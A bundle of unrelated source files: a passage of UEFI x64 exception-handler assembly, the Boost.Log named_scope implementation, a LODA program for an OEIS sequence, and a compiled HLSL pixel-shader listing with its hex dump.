bt [ASM_PFX(mErrorCodeFlag)], ecx
jc HasErrorCode
NoErrorCode:
;
; Push a dummy error code on the stack
; to maintain coherent stack map
;
push qword [rsp]
mov qword [rsp + 8], 0
HasErrorCode:
push rbp
mov rbp, rsp
push 0 ; clear EXCEPTION_HANDLER_CONTEXT.OldIdtHandler
push 0 ; clear EXCEPTION_HANDLER_CONTEXT.ExceptionDataFlag
;
; Stack:
; +---------------------+ <-- 16-byte aligned ensured by processor
; + Old SS +
; +---------------------+
; + Old RSP +
; +---------------------+
; + RFlags +
; +---------------------+
; + CS +
; +---------------------+
; + RIP +
; +---------------------+
; + Error Code +
; +---------------------+
; + RCX / Vector Number +
; +---------------------+
; + RBP +
; +---------------------+ <-- RBP, 16-byte aligned
;
;
; Since here the stack pointer is 16-byte aligned, so
; EFI_FX_SAVE_STATE_X64 of EFI_SYSTEM_CONTEXT_x64
; is 16-byte aligned
;
;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax;
;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15;
push r15
push r14
push r13
push r12
push r11
push r10
push r9
push r8
push rax
push qword [rbp + 8] ; RCX
push rdx
push rbx
push qword [rbp + 48] ; RSP
push qword [rbp] ; RBP
push rsi
push rdi
;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; insure high 16 bits of each is zero
movzx rax, word [rbp + 56]
push rax ; for ss
movzx rax, word [rbp + 32]
push rax ; for cs
mov rax, ds
push rax
mov rax, es
push rax
mov rax, fs
push rax
mov rax, gs
push rax
mov [rbp + 8], rcx ; save vector number
;; UINT64 Rip;
push qword [rbp + 24]
;; UINT64 Gdtr[2], Idtr[2];
xor rax, rax
push rax
push rax
sidt [rsp]
xchg rax, [rsp + 2]
xchg rax, [rsp]
xchg rax, [rsp + 8]
xor rax, rax
push rax
push rax
sgdt [rsp]
xchg rax, [rsp + 2]
xchg rax, [rsp]
xchg rax, [rsp + 8]
;; UINT64 Ldtr, Tr;
xor rax, rax
str ax
push rax
sldt ax
push rax
;; UINT64 RFlags;
push qword [rbp + 40]
;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8;
mov rax, cr8
push rax
mov rax, cr4
or rax, 0x208
mov cr4, rax
push rax
mov rax, cr3
push rax
mov rax, cr2
push rax
xor rax, rax
push rax
mov rax, cr0
push rax
;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;
mov rax, dr7
push rax
mov rax, dr6
push rax
mov rax, dr3
push rax
mov rax, dr2
push rax
mov rax, dr1
push rax
mov rax, dr0
push rax
;; FX_SAVE_STATE_X64 FxSaveState;
sub rsp, 512
mov rdi, rsp
db 0xf, 0xae, 0x7 ;fxsave [rdi]
;; UEFI calling convention for x64 requires that Direction flag in EFLAGs is clear
cld
;; UINT32 ExceptionData;
push qword [rbp + 16]
;; Prepare parameter and call
mov rcx, [rbp + 8]
mov rdx, rsp
;
; Per X64 calling convention, allocate maximum parameter stack space
; and make sure RSP is 16-byte aligned
;
sub rsp, 4 * 8 + 8
call ASM_PFX(CommonExceptionHandler)
add rsp, 4 * 8 + 8
cli
;; UINT64 ExceptionData;
add rsp, 8
;; FX_SAVE_STATE_X64 FxSaveState;
mov rsi, rsp
db 0xf, 0xae, 0xE ; fxrstor [rsi]
add rsp, 512
;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;
;; Skip restoration of DRx registers to support in-circuit emualators
;; or debuggers set breakpoint in interrupt/exception context
add rsp, 8 * 6
;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8;
pop rax
mov cr0, rax
add rsp, 8 ; not for Cr1
pop rax
mov cr2, rax
pop rax
mov cr3, rax
pop rax
mov cr4, rax
pop rax
mov cr8, rax
;; UINT64 RFlags;
pop qword [rbp + 40]
;; UINT64 Ldtr, Tr;
;; UINT64 Gdtr[2], Idtr[2];
;; Best not let anyone mess with these particular registers...
add rsp, 48
;; UINT64 Rip;
pop qword [rbp + 24]
;; UINT64 Gs, Fs, Es, Ds, Cs, Ss;
pop rax
; mov gs, rax ; not for gs
pop rax
; mov fs, rax ; not for fs
; (X64 will not use fs and gs, so we do not restore it)
pop rax
mov es, rax
pop rax
mov ds, rax
pop qword [rbp + 32] ; for cs
pop qword [rbp + 56] ; for ss
;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax;
;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15;
pop rdi
pop rsi
add rsp, 8 ; not for rbp
pop qword [rbp + 48] ; for rsp
pop rbx
pop rdx
pop rcx
pop rax
pop r8
pop r9
pop r10
pop r11
pop r12
pop r13
pop r14
pop r15
mov rsp, rbp
pop rbp
add rsp, 16
cmp qword [rsp - 32], 0 ; check EXCEPTION_HANDLER_CONTEXT.OldIdtHandler
jz DoReturn
cmp qword [rsp - 40], 1 ; check EXCEPTION_HANDLER_CONTEXT.ExceptionDataFlag
jz ErrorCode
jmp qword [rsp - 32]
ErrorCode:
sub rsp, 8
jmp qword [rsp - 24]
DoReturn:
cmp qword [ASM_PFX(mDoFarReturnFlag)], 0 ; Check if need to do far return instead of IRET
jz DoIret
push rax
mov rax, rsp ; save old RSP to rax
mov rsp, [rsp + 0x20]
push qword [rax + 0x10] ; save CS in new location
push qword [rax + 0x8] ; save EIP in new location
push qword [rax + 0x18] ; save EFLAGS in new location
mov rax, [rax] ; restore rax
popfq ; restore EFLAGS
DB 0x48 ; prefix to composite "retq" with next "retf"
retf ; far return
DoIret:
iretq
;-------------------------------------------------------------------------------------
; GetTemplateAddressMap (&AddressMap);
;-------------------------------------------------------------------------------------
; comments here for definition of address map
global ASM_PFX(AsmGetTemplateAddressMap)
ASM_PFX(AsmGetTemplateAddressMap):
lea rax, [AsmIdtVectorBegin]
mov qword [rcx], rax
mov qword [rcx + 0x8], (AsmIdtVectorEnd - AsmIdtVectorBegin) / 32
lea rax, [HookAfterStubHeaderBegin]
mov qword [rcx + 0x10], rax
; Fix up CommonInterruptEntry address
lea rax, [ASM_PFX(CommonInterruptEntry)]
lea rcx, [AsmIdtVectorBegin]
%rep 32
mov qword [rcx + (JmpAbsoluteAddress - 8 - HookAfterStubHeaderBegin)], rax
add rcx, (AsmIdtVectorEnd - AsmIdtVectorBegin) / 32
%endrep
; Fix up HookAfterStubHeaderEnd
lea rax, [HookAfterStubHeaderEnd]
lea rcx, [JmpAbsoluteAddress]
mov qword [rcx - 8], rax
ret
;-------------------------------------------------------------------------------------
; AsmVectorNumFixup (*NewVectorAddr, VectorNum, *OldVectorAddr);
;-------------------------------------------------------------------------------------
global ASM_PFX(AsmVectorNumFixup)
ASM_PFX(AsmVectorNumFixup):
mov rax, rdx
mov [rcx + (@VectorNum - HookAfterStubHeaderBegin)], al
ret
|
/*
* Copyright Andrey Semashev 2007 - 2015.
* Distributed under the Boost Software License, Version 1.0.
* (See accompanying file LICENSE_1_0.txt or copy at
* http://www.boost.org/LICENSE_1_0.txt)
*/
/*!
* \file named_scope.cpp
* \author Andrey Semashev
* \date 24.06.2007
*
* \brief This header is the Boost.Log library implementation, see the library documentation
* at http://www.boost.org/doc/libs/release/libs/log/doc/html/index.html.
*/
#include <boost/log/detail/config.hpp>
#include <utility>
#include <algorithm>
#include <boost/type_index.hpp>
#include <boost/optional/optional.hpp>
#include <boost/log/attributes/attribute.hpp>
#include <boost/log/attributes/attribute_value.hpp>
#include <boost/log/attributes/named_scope.hpp>
#include <boost/log/utility/type_dispatch/type_dispatcher.hpp>
#include <boost/log/detail/allocator_traits.hpp>
#include <boost/log/detail/singleton.hpp>
#if !defined(BOOST_LOG_NO_THREADS)
#include <boost/thread/tss.hpp>
#endif
#include "unique_ptr.hpp"
#include <boost/log/detail/header.hpp>
namespace boost {
BOOST_LOG_OPEN_NAMESPACE
namespace attributes {
BOOST_LOG_ANONYMOUS_NAMESPACE {
//! Actual implementation of the named scope list
class writeable_named_scope_list :
public named_scope_list
{
//! Base type
typedef named_scope_list base_type;
public:
//! Const reference type
typedef base_type::const_reference const_reference;
public:
//! The method pushes the scope to the back of the list
BOOST_FORCEINLINE void push_back(const_reference entry) BOOST_NOEXCEPT
{
aux::named_scope_list_node* top = this->m_RootNode._m_pPrev;
entry._m_pPrev = top;
entry._m_pNext = &this->m_RootNode;
BOOST_LOG_ASSUME(&entry != 0);
this->m_RootNode._m_pPrev = top->_m_pNext =
const_cast< aux::named_scope_list_node* >(
static_cast< const aux::named_scope_list_node* >(&entry));
++this->m_Size;
}
//! The method removes the top scope entry from the list
BOOST_FORCEINLINE void pop_back() BOOST_NOEXCEPT
{
aux::named_scope_list_node* top = this->m_RootNode._m_pPrev;
top->_m_pPrev->_m_pNext = top->_m_pNext;
top->_m_pNext->_m_pPrev = top->_m_pPrev;
--this->m_Size;
}
};
//! Named scope attribute value
class named_scope_value :
public attribute_value::impl
{
//! Scope names stack
typedef named_scope_list scope_stack;
//! Pointer to the actual scope value
scope_stack* m_pValue;
//! A thread-independent value
optional< scope_stack > m_DetachedValue;
public:
//! Constructor
explicit named_scope_value(scope_stack* p) : m_pValue(p) {}
//! The method dispatches the value to the given object. It returns true if the
//! object was capable to consume the real attribute value type and false otherwise.
bool dispatch(type_dispatcher& dispatcher)
{
type_dispatcher::callback< scope_stack > callback =
dispatcher.get_callback< scope_stack >();
if (callback)
{
callback(*m_pValue);
return true;
}
else
return false;
}
/*!
* \return The attribute value type
*/
typeindex::type_index get_type() const { return typeindex::type_id< scope_stack >(); }
//! The method is called when the attribute value is passed to another thread (e.g.
//! in case of asynchronous logging). The value should ensure it properly owns all thread-specific data.
intrusive_ptr< attribute_value::impl > detach_from_thread()
{
if (!m_DetachedValue)
{
m_DetachedValue = *m_pValue;
m_pValue = m_DetachedValue.get_ptr();
}
return this;
}
};
} // namespace
//! Named scope attribute implementation
struct BOOST_SYMBOL_VISIBLE named_scope::impl :
public attribute::impl,
public log::aux::singleton<
impl,
intrusive_ptr< impl >
>
{
//! Singleton base type
typedef log::aux::singleton<
impl,
intrusive_ptr< impl >
> singleton_base_type;
//! Writable scope list type
typedef writeable_named_scope_list scope_list;
#if !defined(BOOST_LOG_NO_THREADS)
//! Pointer to the thread-specific scope stack
thread_specific_ptr< scope_list > pScopes;
#if defined(BOOST_LOG_USE_COMPILER_TLS)
//! Cached pointer to the thread-specific scope stack
static BOOST_LOG_TLS scope_list* pScopesCache;
#endif
#else
//! Pointer to the scope stack
log::aux::unique_ptr< scope_list > pScopes;
#endif
//! The method returns current thread scope stack
scope_list& get_scope_list()
{
#if defined(BOOST_LOG_USE_COMPILER_TLS)
scope_list* p = pScopesCache;
#else
scope_list* p = pScopes.get();
#endif
if (!p)
{
log::aux::unique_ptr< scope_list > pNew(new scope_list());
pScopes.reset(pNew.get());
#if defined(BOOST_LOG_USE_COMPILER_TLS)
pScopesCache = p = pNew.release();
#else
p = pNew.release();
#endif
}
return *p;
}
//! Instance initializer
static void init_instance()
{
singleton_base_type::get_instance().reset(new impl());
}
//! The method returns the actual attribute value. It must not return NULL.
attribute_value get_value()
{
return attribute_value(new named_scope_value(&get_scope_list()));
}
private:
impl() {}
};
#if defined(BOOST_LOG_USE_COMPILER_TLS)
//! Cached pointer to the thread-specific scope stack
BOOST_LOG_TLS named_scope::impl::scope_list*
named_scope::impl::pScopesCache = NULL;
#endif // defined(BOOST_LOG_USE_COMPILER_TLS)
//! Copy constructor
BOOST_LOG_API named_scope_list::named_scope_list(named_scope_list const& that) :
allocator_type(static_cast< allocator_type const& >(that)),
m_Size(that.size()),
m_fNeedToDeallocate(!that.empty())
{
if (m_Size > 0)
{
// Copy the container contents
pointer p = log::aux::allocator_traits< allocator_type >::allocate(*static_cast< allocator_type* >(this), that.size());
aux::named_scope_list_node* prev = &m_RootNode;
for (const_iterator src = that.begin(), end = that.end(); src != end; ++src, ++p)
{
log::aux::allocator_traits< allocator_type >::construct(*static_cast< allocator_type* >(this), p, *src); // won't throw
p->_m_pPrev = prev;
prev->_m_pNext = p;
prev = p;
}
m_RootNode._m_pPrev = prev;
prev->_m_pNext = &m_RootNode;
}
}
//! Destructor
BOOST_LOG_API named_scope_list::~named_scope_list()
{
if (m_fNeedToDeallocate)
{
iterator it(m_RootNode._m_pNext);
iterator end(&m_RootNode);
while (it != end)
log::aux::allocator_traits< allocator_type >::destroy(*static_cast< allocator_type* >(this), &*(it++));
log::aux::allocator_traits< allocator_type >::deallocate(*static_cast< allocator_type* >(this), static_cast< pointer >(m_RootNode._m_pNext), m_Size);
}
}
//! Swaps two instances of the container
BOOST_LOG_API void named_scope_list::swap(named_scope_list& that)
{
if (!this->empty())
{
if (!that.empty())
{
// both containers are not empty
std::swap(m_RootNode._m_pNext->_m_pPrev, that.m_RootNode._m_pNext->_m_pPrev);
std::swap(m_RootNode._m_pPrev->_m_pNext, that.m_RootNode._m_pPrev->_m_pNext);
std::swap(m_RootNode, that.m_RootNode);
std::swap(m_Size, that.m_Size);
std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate);
}
else
{
// this is not empty
m_RootNode._m_pNext->_m_pPrev = m_RootNode._m_pPrev->_m_pNext = &that.m_RootNode;
that.m_RootNode = m_RootNode;
m_RootNode._m_pNext = m_RootNode._m_pPrev = &m_RootNode;
std::swap(m_Size, that.m_Size);
std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate);
}
}
else if (!that.empty())
{
// that is not empty
that.m_RootNode._m_pNext->_m_pPrev = that.m_RootNode._m_pPrev->_m_pNext = &m_RootNode;
m_RootNode = that.m_RootNode;
that.m_RootNode._m_pNext = that.m_RootNode._m_pPrev = &that.m_RootNode;
std::swap(m_Size, that.m_Size);
std::swap(m_fNeedToDeallocate, that.m_fNeedToDeallocate);
}
}
//! Constructor
named_scope::named_scope() :
attribute(impl::instance)
{
}
//! Constructor for casting support
named_scope::named_scope(cast_source const& source) :
attribute(source.as< impl >())
{
}
//! The method pushes the scope to the stack
void named_scope::push_scope(scope_entry const& entry) BOOST_NOEXCEPT
{
impl::scope_list& s = impl::instance->get_scope_list();
s.push_back(entry);
}
//! The method pops the top scope
void named_scope::pop_scope() BOOST_NOEXCEPT
{
impl::scope_list& s = impl::instance->get_scope_list();
s.pop_back();
}
//! Returns the current thread's scope stack
named_scope::value_type const& named_scope::get_scopes()
{
return impl::instance->get_scope_list();
}
} // namespace attributes
BOOST_LOG_CLOSE_NAMESPACE // namespace log
} // namespace boost
#include <boost/log/detail/footer.hpp>
|
; A200978: Number of ways to arrange n books on 3 consecutive shelves leaving none of the shelves empty.
; 6,72,720,7200,75600,846720,10160640,130636800,1796256000,26345088000,410983372800,6799906713600,118998367488000,2196892938240000,42682491371520000,870722823979008000,18611700362551296000,416026243398205440000
mov $2,$0
add $0,2
seq $0,180119 ; a(n) = (n+2)! * Sum_{k = 1..n} 1/((k+1)*(k+2)).
mov $3,$2
add $3,1
mul $0,$3
|
//
// Generated by Microsoft (R) HLSL Shader Compiler 10.1
//
//
//
// Input signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// SV_PrimitiveID 0 x 0 PRIMID uint x
// SV_SampleIndex 0 x 1 SAMPLE uint x
//
//
// Output signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// SV_Target 0 xyzw 0 TARGET float xyzw
//
// Pixel Shader runs at sample frequency
//
ps_5_0
dcl_globalFlags refactoringAllowed
dcl_input_ps_sgv constant v0.x, primitive_id
dcl_input_ps_sgv constant v1.x, sampleIndex
dcl_input vCoverage
dcl_output o0.xyzw
dcl_temps 1
//
// Initial variable locations:
// v0.x <- b;
// vCoverage.x <- c;
// v1.x <- d;
// o0.x <- <main return value>.x; o0.y <- <main return value>.y; o0.z <- <main return value>.z; o0.w <- <main return value>.w
//
#line 4 "L:\C++ GitHub\DirectX 11 Engine 2019\Shaders\Shaders\PS\shTest.hlsl"
iadd r0.x, v0.x, vCoverage.x
imul null, r0.x, r0.x, v1.x
utof o0.x, r0.x
#line 5
imad r0.x, v0.x, v1.x, vCoverage.x
utof o0.y, r0.x
#line 6
imad r0.x, vCoverage.x, v0.x, v1.x
utof o0.zw, r0.xxxx
#line 9
ret
// Approximately 8 instruction slots used
// 0000: 43425844 a8dbca89 a54ff327 dc26226b DXBC....'.O.k"&.
// 0010: 4eb95837 00000001 000030e4 00000006 7X.N.___.0__.___
// 0020: 00000038 000000a4 00000104 00000138 8___.___..__8.__
// 0030: 00000240 000002dc 46454452 00000064 @.__..__RDEFd___
// 0040: 00000000 00000000 00000000 0000003c ____________<___
// 0050: ffff0500 00000501 0000003c 31314452 _.....__<___RD11
// 0060: 0000003c 00000018 00000020 00000028 <___.___ ___(___
// 0070: 00000024 0000000c 00000000 7263694d $___._______Micr
// 0080: 666f736f 52282074 4c482029 53204c53 osoft (R) HLSL S
// 0090: 65646168 6f432072 6c69706d 31207265 hader Compiler 1
// 00a0: 00312e30 4e475349 00000058 00000002 0.1_ISGNX___.___
// 00b0: 00000008 00000038 00000000 00000007 .___8_______.___
// 00c0: 00000001 00000000 00000101 00000047 ._______..__G___
// 00d0: 00000000 0000000a 00000001 00000001 ____.___.___.___
// 00e0: 00000101 505f5653 696d6972 65766974 ..__SV_Primitive
// 00f0: 53004449 61535f56 656c706d 65646e49 ID_SV_SampleInde
// 0100: abab0078 4e47534f 0000002c 00000001 x_..OSGN,___.___
// 0110: 00000008 00000020 00000000 00000000 .___ ___________
// 0120: 00000003 00000000 0000000f 545f5653 ._______.___SV_T
// 0130: 65677261 abab0074 58454853 00000100 arget_..SHEX_.__
// 0140: 00000050 00000040 0100086a 04000863 P___@___j._.c._.
// 0150: 00101012 00000000 00000007 04000863 ..._____.___c._.
// 0160: 00101012 00000001 0000000a 0200005f ..._.___.______.
// 0170: 00023001 03000065 001020f2 00000000 .0._e__.. ._____
// 0180: 02000068 00000001 0600001e 00100012 h__..___.__.._._
// 0190: 00000000 0010100a 00000000 0002300a ____..._____.0._
// 01a0: 08000026 0000d000 00100012 00000000 &__._.__._._____
// 01b0: 0010000a 00000000 0010100a 00000001 ._._____..._.___
// 01c0: 05000056 00102012 00000000 0010000a V__.. ._____._._
// 01d0: 00000000 08000023 00100012 00000000 ____#__.._._____
// 01e0: 0010100a 00000000 0010100a 00000001 ..._____..._.___
// 01f0: 0002300a 05000056 00102022 00000000 .0._V__." ._____
// 0200: 0010000a 00000000 08000023 00100012 ._._____#__.._._
// 0210: 00000000 0002300a 0010100a 00000000 ____.0._..._____
// 0220: 0010100a 00000001 05000056 001020c2 ..._.___V__.. ._
// 0230: 00000000 00100006 00000000 0100003e ____._._____>__.
// 0240: 54415453 00000094 00000008 00000001 STAT.___.___.___
// 0250: 00000000 00000004 00000000 00000004 ____._______.___
// 0260: 00000000 00000001 00000000 00000000 ____.___________
// 0270: 00000000 00000000 00000000 00000000 ________________
// 0280: 00000000 00000000 00000000 00000000 ________________
// 0290: 00000000 00000000 00000000 00000003 ____________.___
// 02a0: 00000000 00000000 00000000 00000000 ________________
// 02b0: 00000000 00000000 00000001 00000000 ________._______
// 02c0: 00000000 00000000 00000000 00000000 ________________
// 02d0: 00000000 00000000 00000000 42445053 ____________SPDB
// 02e0: 00002e00 7263694d 666f736f 2f432074 _.__Microsoft C/
// 02f0: 202b2b43 2046534d 30302e37 441a0a0d C++ MSF 7.00...D
// 0300: 00000053 00000200 00000002 00000017 S____.__.___.___
// 0310: 00000084 00000000 00000016 00000000 ._______._______
// 0320: 00000000 00000000 00000000 00000000 ________________
// 0330: 00000000 00000000 00000000 00000000 ________________
// 0340: 00000000 00000000 00000000 00000000 ________________
// 0350: 00000000 00000000 00000000 00000000 ________________
// 0360: 00000000 00000000 00000000 00000000 ________________
// 0370: 00000000 00000000 00000000 00000000 ________________
// 0380: 00000000 00000000 00000000 00000000 ________________
// 0390: 00000000 00000000 00000000 00000000 ________________
// 03a0: 00000000 00000000 00000000 00000000 ________________
// 03b0: 00000000 00000000 00000000 00000000 ________________
// 03c0: 00000000 00000000 00000000 00000000 ________________
// 03d0: 00000000 00000000 00000000 00000000 ________________
// 03e0: 00000000 00000000 00000000 00000000 ________________
// 03f0: 00000000 00000000 00000000 00000000 ________________
// 0400: 00000000 00000000 00000000 00000000 ________________
// 0410: 00000000 00000000 00000000 00000000 ________________
// 0420: 00000000 00000000 00000000 00000000 ________________
// 0430: 00000000 00000000 00000000 00000000 ________________
// 0440: 00000000 00000000 00000000 00000000 ________________
// 0450: 00000000 00000000 00000000 00000000 ________________
// 0460: 00000000 00000000 00000000 00000000 ________________
// 0470: 00000000 00000000 00000000 00000000 ________________
// 0480: 00000000 00000000 00000000 00000000 ________________
// 0490: 00000000 00000000 00000000 00000000 ________________
// 04a0: 00000000 00000000 00000000 00000000 ________________
// 04b0: 00000000 00000000 00000000 00000000 ________________
// 04c0: 00000000 00000000 00000000 00000000 ________________
// 04d0: 00000000 00000000 00000000 00000000 ________________
// 04e0: 00000000 ffffffc0 ffffffff ffffffff ____............
// 04f0: ffffffff ffffffff ffffffff ffffffff ................
// 0500: ffffffff ffffffff ffffffff ffffffff ................
// 0510: ffffffff ffffffff ffffffff ffffffff ................
// 0520: ffffffff ffffffff ffffffff ffffffff ................
// 0530: ffffffff ffffffff ffffffff ffffffff ................
// 0540: ffffffff ffffffff ffffffff ffffffff ................
// 0550: ffffffff ffffffff ffffffff ffffffff ................
// 0560: ffffffff ffffffff ffffffff ffffffff ................
// 0570: ffffffff ffffffff ffffffff ffffffff ................
// 0580: ffffffff ffffffff ffffffff ffffffff ................
// 0590: ffffffff ffffffff ffffffff ffffffff ................
// 05a0: ffffffff ffffffff ffffffff ffffffff ................
// 05b0: ffffffff ffffffff ffffffff ffffffff ................
// 05c0: ffffffff ffffffff ffffffff ffffffff ................
// 05d0: ffffffff ffffffff ffffffff ffffffff ................
// 05e0: ffffffff ffffffff ffffffff ffffffff ................
// 05f0: ffffffff ffffffff ffffffff ffffffff ................
// 0600: ffffffff ffffffff ffffffff ffffffff ................
// 0610: ffffffff ffffffff ffffffff ffffffff ................
// 0620: ffffffff ffffffff ffffffff ffffffff ................
// 0630: ffffffff ffffffff ffffffff ffffffff ................
// 0640: ffffffff ffffffff ffffffff ffffffff ................
// 0650: ffffffff ffffffff ffffffff ffffffff ................
// 0660: ffffffff ffffffff ffffffff ffffffff ................
// 0670: ffffffff ffffffff ffffffff ffffffff ................
// 0680: ffffffff ffffffff ffffffff ffffffff ................
// 0690: ffffffff ffffffff ffffffff ffffffff ................
// 06a0: ffffffff ffffffff ffffffff ffffffff ................
// 06b0: ffffffff ffffffff ffffffff ffffffff ................
// 06c0: ffffffff ffffffff ffffffff ffffffff ................
// 06d0: ffffffff ffffffff ffffffff ffffffff ................
// 06e0: ffffffff ff800038 ffffffff ffffffff ....8_..........
// 06f0: ffffffff ffffffff ffffffff ffffffff ................
// 0700: ffffffff ffffffff ffffffff ffffffff ................
// 0710: ffffffff ffffffff ffffffff ffffffff ................
// 0720: ffffffff ffffffff ffffffff ffffffff ................
// 0730: ffffffff ffffffff ffffffff ffffffff ................
// 0740: ffffffff ffffffff ffffffff ffffffff ................
// 0750: ffffffff ffffffff ffffffff ffffffff ................
// 0760: ffffffff ffffffff ffffffff ffffffff ................
// 0770: ffffffff ffffffff ffffffff ffffffff ................
// 0780: ffffffff ffffffff ffffffff ffffffff ................
// 0790: ffffffff ffffffff ffffffff ffffffff ................
// 07a0: ffffffff ffffffff ffffffff ffffffff ................
// 07b0: ffffffff ffffffff ffffffff ffffffff ................
// 07c0: ffffffff ffffffff ffffffff ffffffff ................
// 07d0: ffffffff ffffffff ffffffff ffffffff ................
// 07e0: ffffffff ffffffff ffffffff ffffffff ................
// 07f0: ffffffff ffffffff ffffffff ffffffff ................
// 0800: ffffffff ffffffff ffffffff ffffffff ................
// 0810: ffffffff ffffffff ffffffff ffffffff ................
// 0820: ffffffff ffffffff ffffffff ffffffff ................
// 0830: ffffffff ffffffff ffffffff ffffffff ................
// 0840: ffffffff ffffffff ffffffff ffffffff ................
// 0850: ffffffff ffffffff ffffffff ffffffff ................
// 0860: ffffffff ffffffff ffffffff ffffffff ................
// 0870: ffffffff ffffffff ffffffff ffffffff ................
// 0880: ffffffff ffffffff ffffffff ffffffff ................
// 0890: ffffffff ffffffff ffffffff ffffffff ................
// 08a0: ffffffff ffffffff ffffffff ffffffff ................
// 08b0: ffffffff ffffffff ffffffff ffffffff ................
// 08c0: ffffffff ffffffff ffffffff ffffffff ................
// 08d0: ffffffff ffffffff ffffffff ffffffff ................
// 08e0: ffffffff 00000005 00000020 0000003c .....___ ___<___
// 08f0: 00000000 ffffffff 00000000 00000006 ____....____.___
// 0900: 00000005 00000000 00000000 00000000 ._______________
// 0910: 00000000 00000000 00000000 00000000 ________________
// 0920: 00000000 00000000 00000000 00000000 ________________
// 0930: 00000000 00000000 00000000 00000000 ________________
// 0940: 00000000 00000000 00000000 00000000 ________________
// 0950: 00000000 00000000 00000000 00000000 ________________
// 0960: 00000000 00000000 00000000 00000000 ________________
// 0970: 00000000 00000000 00000000 00000000 ________________
// 0980: 00000000 00000000 00000000 00000000 ________________
// 0990: 00000000 00000000 00000000 00000000 ________________
// 09a0: 00000000 00000000 00000000 00000000 ________________
// 09b0: 00000000 00000000 00000000 00000000 ________________
// 09c0: 00000000 00000000 00000000 00000000 ________________
// 09d0: 00000000 00000000 00000000 00000000 ________________
// 09e0: 00000000 00000000 00000000 00000000 ________________
// 09f0: 00000000 00000000 00000000 00000000 ________________
// 0a00: 00000000 00000000 00000000 00000000 ________________
// 0a10: 00000000 00000000 00000000 00000000 ________________
// 0a20: 00000000 00000000 00000000 00000000 ________________
// 0a30: 00000000 00000000 00000000 00000000 ________________
// 0a40: 00000000 00000000 00000000 00000000 ________________
// 0a50: 00000000 00000000 00000000 00000000 ________________
// 0a60: 00000000 00000000 00000000 00000000 ________________
// 0a70: 00000000 00000000 00000000 00000000 ________________
// 0a80: 00000000 00000000 00000000 00000000 ________________
// 0a90: 00000000 00000000 00000000 00000000 ________________
// 0aa0: 00000000 00000000 00000000 00000000 ________________
// 0ab0: 00000000 00000000 00000000 00000000 ________________
// 0ac0: 00000000 00000000 00000000 00000000 ________________
// 0ad0: 00000000 00000000 00000000 00000000 ________________
// 0ae0: 00000000 00000003 00000000 00000000 ____.___________
// 0af0: 00000000 00000000 00000000 00000000 ________________
// 0b00: 00000000 00000000 00000000 00000000 ________________
// 0b10: 00000000 00000000 00000000 00000000 ________________
// 0b20: 00000000 00000000 00000000 00000000 ________________
// 0b30: 00000000 00000000 00000000 00000000 ________________
// 0b40: 00000000 00000000 00000000 00000000 ________________
// 0b50: 00000000 00000000 00000000 00000000 ________________
// 0b60: 00000000 00000000 00000000 00000000 ________________
// 0b70: 00000000 00000000 00000000 00000000 ________________
// 0b80: 00000000 00000000 00000000 00000000 ________________
// 0b90: 00000000 00000000 00000000 00000000 ________________
// 0ba0: 00000000 00000000 00000000 00000000 ________________
// 0bb0: 00000000 00000000 00000000 00000000 ________________
// 0bc0: 00000000 00000000 00000000 00000000 ________________
// 0bd0: 00000000 00000000 00000000 00000000 ________________
// 0be0: 00000000 00000000 00000000 00000000 ________________
// 0bf0: 00000000 00000000 00000000 00000000 ________________
// 0c00: 00000000 00000000 00000000 00000000 ________________
// 0c10: 00000000 00000000 00000000 00000000 ________________
// 0c20: 00000000 00000000 00000000 00000000 ________________
// 0c30: 00000000 00000000 00000000 00000000 ________________
// 0c40: 00000000 00000000 00000000 00000000 ________________
// 0c50: 00000000 00000000 00000000 00000000 ________________
// 0c60: 00000000 00000000 00000000 00000000 ________________
// 0c70: 00000000 00000000 00000000 00000000 ________________
// 0c80: 00000000 00000000 00000000 00000000 ________________
// 0c90: 00000000 00000000 00000000 00000000 ________________
// 0ca0: 00000000 00000000 00000000 00000000 ________________
// 0cb0: 00000000 00000000 00000000 00000000 ________________
// 0cc0: 00000000 00000000 00000000 00000000 ________________
// 0cd0: 00000000 00000000 00000000 00000000 ________________
// 0ce0: 00000000 01312e94 5d94f52a 00000001 ____..1.*..].___
// 0cf0: 5d30b69a 4a630e06 6bf0cfb5 f9dc0b8e ..0]..cJ...k....
// 0d00: 00000000 00000000 00000001 00000001 ________.___.___
// 0d10: 00000000 00000000 00000000 013351dc ____________.Q3.
// 0d20: 00000000 00000000 00000000 00000000 ________________
// 0d30: 00000000 00000000 00000000 00000000 ________________
// 0d40: 00000000 00000000 00000000 00000000 ________________
// 0d50: 00000000 00000000 00000000 00000000 ________________
// 0d60: 00000000 00000000 00000000 00000000 ________________
// 0d70: 00000000 00000000 00000000 00000000 ________________
// 0d80: 00000000 00000000 00000000 00000000 ________________
// 0d90: 00000000 00000000 00000000 00000000 ________________
// 0da0: 00000000 00000000 00000000 00000000 ________________
// 0db0: 00000000 00000000 00000000 00000000 ________________
// 0dc0: 00000000 00000000 00000000 00000000 ________________
// 0dd0: 00000000 00000000 00000000 00000000 ________________
// 0de0: 00000000 00000000 00000000 00000000 ________________
// 0df0: 00000000 00000000 00000000 00000000 ________________
// 0e00: 00000000 00000000 00000000 00000000 ________________
// 0e10: 00000000 00000000 00000000 00000000 ________________
// 0e20: 00000000 00000000 00000000 00000000 ________________
// 0e30: 00000000 00000000 00000000 00000000 ________________
// 0e40: 00000000 00000000 00000000 00000000 ________________
// 0e50: 00000000 00000000 00000000 00000000 ________________
// 0e60: 00000000 00000000 00000000 00000000 ________________
// 0e70: 00000000 00000000 00000000 00000000 ________________
// 0e80: 00000000 00000000 00000000 00000000 ________________
// 0e90: 00000000 00000000 00000000 00000000 ________________
// 0ea0: 00000000 00000000 00000000 00000000 ________________
// 0eb0: 00000000 00000000 00000000 00000000 ________________
